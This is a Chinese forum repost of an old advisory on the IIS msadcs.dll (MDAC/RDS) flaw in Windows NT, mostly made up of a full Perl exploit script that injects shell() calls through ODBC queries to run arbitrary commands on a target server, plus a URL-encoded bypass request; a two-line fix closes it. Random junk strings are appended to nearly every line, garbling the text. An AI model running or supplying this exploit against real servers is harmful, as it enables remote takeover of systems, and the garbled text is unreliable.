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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) _jeub [  
nc$?tC9V  
涉及程序: 1d-j_ H`s  
Microsoft NT server %NxNZe  
<NS= <'U  
描述: h"ZF,g;a  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 d@#=cvW  
5'oWd e  
详细: *%8,G'"r?  
如果你没有时间读详细内容的话,就删除: %tQIKjsVaY  
c:\Program Files\Common Files\System\Msadc\msadcs.dll _^&oNm1  
有关的安全问题就没有了。 NK"y@)%0  
D8Ni=.ALL  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 I`5MAvP  
5Vut4px  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 i<%(Z[9Lk  
关于利用ODBC远程漏洞的描述,请参看: .dM 0  
/a9+R)Al  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm zRf]SZ(t O  
{9C(\i +  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 v SWqOv$  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp {/B) YR  
M~ *E!  
这里不再论述。 hoU&'P8  
94K ;=5h  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: (y(V,kXwa8  
#Oe=G:+A  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset oZOFZ-<  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! s'/.ea V_  
ym,S /Uz  
]YOQIzkL4}  
#将下面这段保存为txt文件,然后: "perl -x 文件名" :%!SzI?  
Txp~&a03  
#!perl +Pa!pj/< z  
# ?]paAP;4  
# MSADC/RDS 'usage' (aka exploit) script )Dqv&^  
# 3c-ve$8u~  
# by rain.forest.puppy &;%+Hduc  
# ~ZvZ k  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me z|pH>R?:  
# beta test and find errors! hpAIIgn  
gvsS:4N"Nq  
use Socket; use Getopt::Std; eeL%Yp3+  
getopts("e:vd:h:XR", \%args); ~r>WnI:vg  
EE%OD~u&9#  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; IP{Cj=  
U?>zq!C&R  
if (!defined $args{h} && !defined $args{R}) { )Hev -C"  
print qq~ *23  
Usage: msadc.pl -h <host> { -d <delay> -X -v } q)@.f.  
-h <host> = host you want to scan (ip or domain) R` X$@iM  
-d <seconds> = delay between calls, default 1 second .cu5h   
-X = dump Index Server path table, if available 9N'$Y*. d<  
-v = verbose WpmypkJA#  
-e = external dictionary file for step 5 "rAm6b-`  
.X:{s,@  
Or a -R will resume a command session [Q^kO;  
2<B+ID3qv  
~; exit;} P *%bG 4  
MfYe @ ;m  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; y`(z_5ClT  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} *w@>zkBl  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} A;Zg:  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); W^y F5  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} L`"cu.l  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } f_z2d+  
t^h>~o' \  
if (!defined $args{R}){ $ret = &has_msadc; VfZ/SByh7p  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 2\s-4H| q  
59EAqz[:  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" o'H$g%  
. "cmd /c "; FWD9!M K  
$in=<STDIN>; chomp $in; z<AQ;b  
$command="cmd /c " . $in ; QQrvT,]  
WP}__1!%u  
if (defined $args{R}) {&load; exit;} 4Y-9W2s  
{/ty{  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 71)HxC[6vA  
&try_btcustmr; 2;kab^iv'  
E6@+w.VVO  
print "\nStep 2: Trying to make our own DSN..."; A\SbuRty  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; "%}PVO!  
I7[+:?2  
print "\nStep 3: Trying known DSNs..."; e?f[t*td  
&known_dsn; yGN<.IP75  
"CZ`hx1|^  
print "\nStep 4: Trying known .mdbs..."; `qfVgT=2  
&known_mdb; pwu5Fxn)  
g5T~%t5lo  
if (defined $args{e}){ u6%56 %^f  
print "\nStep 5: Trying dictionary of DSN names..."; 67n1s  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } c)$/Uu  
C[x!Lf8'  
print "Sorry Charley...maybe next time?\n"; ]-ZD;kOr  
exit; y:W$~<E`p  
bk>M4l61  
############################################################################## `NGCUGQ_7  
4!monaB"e  
sub sendraw { # ripped and modded from whisker .#+rH}=Z  
sleep($delay); # it's a DoS on the server! At least on mine... ?=PQQx2_*u  
my ($pstr)=@_; YemOP9  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 0~FX!1;  
die("Socket problems\n"); rj:$'m7  
if(connect(S,pack "SnA4x8",2,80,$target)){ ;>CmVC'/  
select(S); $|=1; z:fd'NC  
print $pstr; my @in=<S>; <:%Iq13D  
select(STDOUT); close(S); YJ:CqTy  
return @in; @V<tg"(c  
} else { die("Can't connect...\n"); }} NghQ#c  
pf2$%lE  
############################################################################## QY{f=  
c[j3_fn1]  
sub make_header { # make the HTTP request ,:,c kul  
my $msadc=<<EOT 9OTw6  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1  0J_Np  
User-Agent: ACTIVEDATA 40:YJ_n  
Host: $ip Q)Ppx7)  
Content-Length: $clen NIYAcLa@n8  
Connection: Keep-Alive rW1 > t+  
\!631FcQ   
ADCClientVersion:01.06 :jUd?(  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 %n-LDn  
yyiZV\ /  
--!ADM!ROX!YOUR!WORLD! [F6=JZ  
Content-Type: application/x-varg t[^}/ S  
Content-Length: $reqlen X @\! \  
YjsaTdZ!&  
EOT  _@d.wfM  
; $msadc=~s/\n/\r\n/g; v3hNvcMpf  
return $msadc;} *1>XlVx,  
a?D\H5TF-  
############################################################################## %r|fuwwJO  
`N|WCiBV.  
sub make_req { # make the RDS request OCR x|  
my ($switch, $p1, $p2)=@_; S"}FsS;k<?  
my $req=""; my $t1, $t2, $query, $dsn; vK$T$SL  
;f6G&>p  
if ($switch==1){ # this is the btcustmr.mdb query 38  B\ \  
$query="Select * from Customers where City=" . make_shell(); Y$'fds4P  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . sG^b_3o)A  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 6?hv ,^  
 Q.cxen  
elsif ($switch==2){ # this is general make table query ZPMX19  
$query="create table AZZ (B int, C varchar(10))"; `;i| %$TU  
$dsn="$p1";} hz )L+  
1{u;-pg  
elsif ($switch==3){ # this is general exploit table query qOk4qbl[  
$query="select * from AZZ where C=" . make_shell(); wN*e6dOF  
$dsn="$p1";} IG#=}q  
g\X"E>X  
elsif ($switch==4){ # attempt to hork file info from index server <'s1+^LC  
$query="select path from scope()"; /n:s9eq  
$dsn="Provider=MSIDXS;";} GR|Vwxs<@P  
){gOb  
elsif ($switch==5){ # bad query Ebp8})P/~  
$query="select"; Que)kjp  
$dsn="$p1";} wd1*wt  
{Y IVHl  
$t1= make_unicode($query); 'g ,Oi1|~  
$t2= make_unicode($dsn); 9l(e:_`_  
$req = "\x02\x00\x03\x00"; "-I>  
$req.= "\x08\x00" . pack ("S1", length($t1)); 8U=M.FFp  
$req.= "\x00\x00" . $t1 ; a2x2N_\=/D  
$req.= "\x08\x00" . pack ("S1", length($t2)); dqG+hh^  
$req.= "\x00\x00" . $t2 ; SHh g&~B  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; $`]<4I9d  
return $req;} (o e;p a  
) Oa"B;\j  
############################################################################## *]F3pP[  
Url8Z\;aM  
sub make_shell { # this makes the shell() statement /i$&89yod  
return "'|shell(\"$command\")|'";} 7p2x}[ .\  
mp@JsCU  
############################################################################## Pyk~V)~M  
XFd[>U<X  
sub make_unicode { # quick little function to convert to unicode ,=K!Y TeVl  
my ($in)=@_; my $out; cZ o]*Gv.  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ^hZwm8G  
return $out;} >5]Xl*{H)  
] niWRl  
############################################################################## EStHl(DUPq  
'3 |OgV  
sub rdo_success { # checks for RDO return success (this is kludge) E%+V\ W%  
my (@in) = @_; my $base=content_start(@in); `[Lap=.' .  
if($in[$base]=~/multipart\/mixed/){ -4X,x  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} \Z57UNI  
return 0;} UVU}  
^3*gf}  
############################################################################## }S%a]  
2]Y (<PC  
sub make_dsn { # this makes a DSN for us ,j2qY'wi  
my @drives=("c","d","e","f"); !%5{jO1  
print "\nMaking DSN: "; 1 w\Y ._jK  
foreach $drive (@drives) { /\Q{i#v  
print "$drive: "; W%Um:C\I  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . h2,A cM  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" yhUc]6`V.H  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); IK}T. *[  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; =m-_0xo  
return 0 if $2 eq "404"; # not found/doesn't exist  Ya=QN<  
if($2 eq "200") { )vPce  
foreach $line (@results) { .W?POJT  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} nw\p3  
} return 0;} PqvwM2}4  
$aGK8%.O  
############################################################################## W*8D@a0 _  
1eT|  
sub verify_exists { B&L{/.v_z\  
my ($page)=@_; tD>m%1'&  
my @results=sendraw("GET $page HTTP/1.0\n\n"); q9Fc0(&Vf  
return $results[0];} ")Bf^DV  
}rGDM  
############################################################################## ]`u{^f  
FeCQGT  
sub try_btcustmr { K$(U>D|  
my @drives=("c","d","e","f"); WgY\m&  
my @dirs=("winnt","winnt35","winnt351","win","windows"); -3KB:K<  
rhL<JTS  
foreach $dir (@dirs) { 2|Tt3/Rn  
print "$dir -> "; # fun status so you can see progress ,PIdPaV--  
foreach $drive (@drives) { R]ppA=1*_l  
print "$drive: "; # ditto _NZ) n)  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; s"a*S\a;b  
$reqlenlen=length( "$reqlen" ); P,wFib^1  
$clen= 206 + $reqlenlen + $reqlen; XY%8yII6  
6W#+U<  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); R o%S_!  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ]qpcA6%a|  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ;tKL/eI  
 W#??fae  
############################################################################## 3b PVKsY  
JgK?j&!hs:  
sub odbc_error { s]B^Sz=  
my (@in)=@_; my $base; ',O@0L]L  
my $base = content_start(@in); f \4Qp  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this wmoOp;C  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; \HH|{   
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ]Q,RVEtKp  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; h` n>6I  
return $in[$base+4].$in[$base+5].$in[$base+6];} i%\nJs*  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; b?bIxCA8  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 6+LX oR'  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} V7^?jy&&  
0@xuxm/i  
############################################################################## g%\e80~1(  
pp{%\td  
sub verbose { NT8%{>F`  
my ($in)=@_; gW*ee  
return if !$verbose; ^?juY}rZ=|  
print STDOUT "\n$in\n";} WUqAPN  
VUx~Y'b  
############################################################################## +)7NWR\  
{0QA+[Yd&!  
sub save { =%RDT9T.  
my ($p1, $p2, $p3, $p4)=@_; Y ,}p  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; yp :yS  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; "4r5n8  
close OUT;} 3a#!^ G!~  
|-e=P9,  
############################################################################## iP_rEi*-J  
i.fDH57  
sub load { se)I2T{J  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; &1Az`[zKGW  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); OB"QWdh  
@p=<IN>; close(IN); 2QBtwlQ?[  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); +ckj]yA;  
$target= inet_aton($ip) || die("inet_aton problems"); .b]oB_  
print "Resuming to $ip ..."; bz>#}P=58G  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 4/d#)6  
if($p[1]==1) { 7l:H~"9r  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; DPe`C%Oc1  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; >U) ,^H(  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); j5ui  
if (rdo_success(@results)){print "Success!\n";} n_c0=YH  
else { print "failed\n"; verbose(odbc_error(@results));}} Lnj5EY er  
elsif ($p[1]==3){ 3@}_ F<"*  
if(run_query("$p[3]")){  m+vwp\0  
print "Success!\n";} else { print "failed\n"; }} [PQG]"  
elsif ($p[1]==4){ rre;HJGEL  
if(run_query($drvst . "$p[3]")){ MM5#B!BB  
print "Success!\n"; } else { print "failed\n"; }} 7unu-P<C  
exit;} 5 wc&0h  
IGI2).$[  
############################################################################## ;M JM~\L0  
9ge$)q@3  
sub create_table { zR5D)`Ph   
my ($in)=@_; $/d~bk@=l  
$reqlen=length( make_req(2,$in,"") ) - 28; w]%r]PwU+  
$reqlenlen=length( "$reqlen" ); _ !Ph1  
$clen= 206 + $reqlenlen + $reqlen; ]_-$  
my @results=sendraw(make_header() . make_req(2,$in,"")); &V2G <gm0  
return 1 if rdo_success(@results); Z1OcGRN!  
my $temp= odbc_error(@results); verbose($temp); gr-%9=Uq  
return 1 if $temp=~/Table 'AZZ' already exists/; |]B]0J#_  
return 0;} $~9U-B\  
( NiuAy  
############################################################################## oYqC"g&4Z  
"\V:W%23W{  
sub known_dsn { `[ne<F?e  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go [S9nF  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", UbuxD})  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", wicg8[T=B  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); }M9'N%PU  
=+"XV8Fi,  
foreach $dSn (@dsns) { ](0A/,#q6  
print "."; S@*@*>s^  
next if (!is_access("DSN=$dSn")); ll5Kd=3  
if(create_table("DSN=$dSn")){ VLOyUt~O#  
print "$dSn successful\n"; f|apk,o_  
if(run_query("DSN=$dSn")){ SD697L9  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { o@>5[2b4  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ,Qh4=+jwqn  
N4D_ 43jz  
############################################################################## Z`:V~8=l  
:)MZgW  
sub is_access { ?dTz?C.w  
my ($in)=@_; Ep'C FNbtW  
$reqlen=length( make_req(5,$in,"") ) - 28; y24 0 +;a  
$reqlenlen=length( "$reqlen" ); fh2Pn!h+  
$clen= 206 + $reqlenlen + $reqlen; w}2yi#E[  
my @results=sendraw(make_header() . make_req(5,$in,"")); dvxH:,  
my $temp= odbc_error(@results); /evh.S  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 6: M   
return 0;} {fS/ZG"5<t  
Dbtw>:=  
############################################################################## I4") ;T3  
:r~?Z6gK  
sub run_query { y[$e]N  
my ($in)=@_; RSkpf94`  
$reqlen=length( make_req(3,$in,"") ) - 28; -BjB>Vt  
$reqlenlen=length( "$reqlen" ); "o TwMU  
$clen= 206 + $reqlenlen + $reqlen; 0Ifd!  
my @results=sendraw(make_header() . make_req(3,$in,"")); lOE bh  
return 1 if rdo_success(@results); *vj5J"Y(;t  
my $temp= odbc_error(@results); verbose($temp); '~a!~F~>  
return 0;} ; aMMI p  
WFh!re%Z  
############################################################################## |e pe;/  
r<0 .!j%c  
sub known_mdb { zPVA6~|l  
my @drives=("c","d","e","f","g"); N .SszZh  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Nd( $s[  
my $dir, $drive, $mdb; 9PGSr4V 1  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; _PRm4 :  
$B(B  
# this is sparse, because I don't know of many MW&;{m?2(  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ~o8$/%Oeb/  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ,v^it+Jc'  
"\\system32\\certmdb.mdb", swJwy~  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% jbg@CA*=C  
wv*r}{%7g[  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", fa!iQfr  
"\\cfusion\\cfapps\\forums\\forums_.mdb", gmM79^CEF  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", +XIN-8  
"\\cfusion\\cfapps\\security\\realm_.mdb", `@:^(sMo  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 4+uAd"  
"\\cfusion\\database\\cfexamples.mdb", ukPV nk  
"\\cfusion\\database\\cfsnippets.mdb", zz$*upxK  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 4f/8APA  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", \dCdyl6V  
"\\cfusion\\brighttiger\\database\\cleam.mdb", $QY(7Z"  
"\\cfusion\\database\\smpolicy.mdb", !u=[/>  
"\\cfusion\\database\cypress.mdb", ?vk&k(FT  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", OgzPX^q/=  
"\\website\\cgi-win\\dbsample.mdb", DG& kY+  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ?=fJu\;  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" i .'f<z$<  
); #these are just XBDlQe|>  
foreach $drive (@drives) { O c" 2|X  
foreach $dir (@dirs){ ;1o"Oij  
foreach $mdb (@sysmdbs) { #2`tsZ]=I  
print "."; &-&6ARb7o  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 0phGn+"R  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; h?idRaN_  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ b0 5h,  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; {0[qERj"z  
} else { print "Something's borked. Use verbose next time\n"; }}}}} *W0`+#Dcv  
AMkjoy3+]  
foreach $drive (@drives) { @F=4B0=  
foreach $mdb (@mdbs) { \K>6-0r|  
print "."; } $OQw'L[  
if(create_table($drv . $drive . $dir . $mdb)){  _@HMk"A  
print "\n" . $drive . $dir . $mdb . " successful\n"; _E?(cWC  
if(run_query($drv . $drive . $dir . $mdb)){ W;o\}irep  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; gjwp' GN  
} else { print "Something's borked. Use verbose next time\n"; }}}} .m4K ]^m  
} _El=M0  
0lW}l9}'-  
############################################################################## udw5A*Ls  
,qC_[PUT  
sub hork_idx { Qn6&M  
print "\nAttempting to dump Index Server tables...\n"; 9oN b= .  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 3s$m0  
$reqlen=length( make_req(4,"","") ) - 28; PDtaL  
$reqlenlen=length( "$reqlen" ); M~^|dR)D  
$clen= 206 + $reqlenlen + $reqlen;  9((v.  
my @results=sendraw2(make_header() . make_req(4,"","")); Hm*n ,8_  
if (rdo_success(@results)){ +nZx{d,wt  
my $max=@results; my $c; my %d; !,I}2,1%k  
for($c=19; $c<$max; $c++){ B!9<c9/ P]  
$results[$c]=~s/\x00//g; F*(<`V  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; m'a3}vRV(  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; TMq\}k-I5  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; PInU-"gG  
$d{"$1$2"}="";} F9Mv$ g79  
foreach $c (keys %d){ print "$c\n"; } *)"`v]  
} else {print "Index server doesn't seem to be installed.\n"; }} IV!&jL  
Pxl7zz&pl=  
############################################################################## >7 4'g }  
r`mfLA]d  
sub dsn_dict { x! Z|^q  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 6o {41@v(  
while(<IN>){ _,~/KJp  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; z}kD:A)a  
next if (!is_access("DSN=$dSn")); ``0knr <  
if(create_table("DSN=$dSn")){ (L q^C=  
print "$dSn successful\n"; "S*lI^8Z!  
if(run_query("DSN=$dSn")){ @y)fR.!)1$  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { F2lTDuk>C  
print "Something's borked. Use verbose next time\n";}}} r"k\G\,%  
print "\n"; close(IN);} e6,/ i  
Ey 4GyAl  
############################################################################## D4[t@*m>7  
8 \%*4L'  
sub sendraw2 { # ripped and modded from whisker bluhiiATd  
sleep($delay); # it's a DoS on the server! At least on mine... }Vk#w%EJ  
my ($pstr)=@_; cO_En`F  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 29}(l#S}m  
die("Socket problems\n"); qm8[ ^jO&  
if(connect(S,pack "SnA4x8",2,80,$target)){ \_0nH`  
print "Connected. Getting data"; t13wQ t  
open(OUT,">raw.out"); my @in; ax,%07hJ  
select(S); $|=1; print $pstr; ^ WidA-  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} CH!Lf,G  
close(OUT); select(STDOUT); close(S); return @in; yX<Sk q  
} else { die("Can't connect...\n"); }} "1WwSh}Z  
/tDwgxJ  
############################################################################## 4IIe1 .{  
OZDnU6  
sub content_start { # this will take in the server headers e=Kf<ZQt  
my (@in)=@_; my $c; sBB>O@4  
for ($c=1;$c<500;$c++) { \za 0?b  
if($in[$c] =~/^\x0d\x0a/){ ]qvrpI!E!  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } QGn3xM66  
else { return $c+1; }}} 'IKV%$k  
return -1;} # it should never get here actually IL*C/y  
"Lw[ $  
############################################################################## 0LeR#l:I  
4ZSc'9e9  
sub funky { ~~;J[F p  
my (@in)=@_; my $error=odbc_error(@in); 6XKiVP;h%  
if($error=~/ADO could not find the specified provider/){ bw&8"k>D?  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; tg.[.v Ks  
exit;} Fzt{^%\`  
if($error=~/A Handler is required/){ MZl6 J  
print "\nServer has custom handler filters (they most likely are patched)\n"; ^ yyL4{/  
exit;} 1 cvoI  
if($error=~/specified Handler has denied Access/){ r[ni{ &  
print "\nServer has custom handler filters (they most likely are patched)\n"; ot8UuBq  
exit;}} !.Eua3:V*  
4'P otv@/  
############################################################################## |@!4BA  
ER;?[!  
sub has_msadc { fX^ <H_1$G  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); *QH@c3vUe\  
my $base=content_start(@results); O3 x9S,1i  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); Pp#  
return 0;} qkPvE;"  
=C gcRxng  
######################## wxS.!9K  
ga%gu9  
z.P<)[LUc  
解决方案: bbddbRj;  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll $pr\"!|z  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 "{>BP$Jz  
(q o ?e2K  
拿出来充数 哈哈
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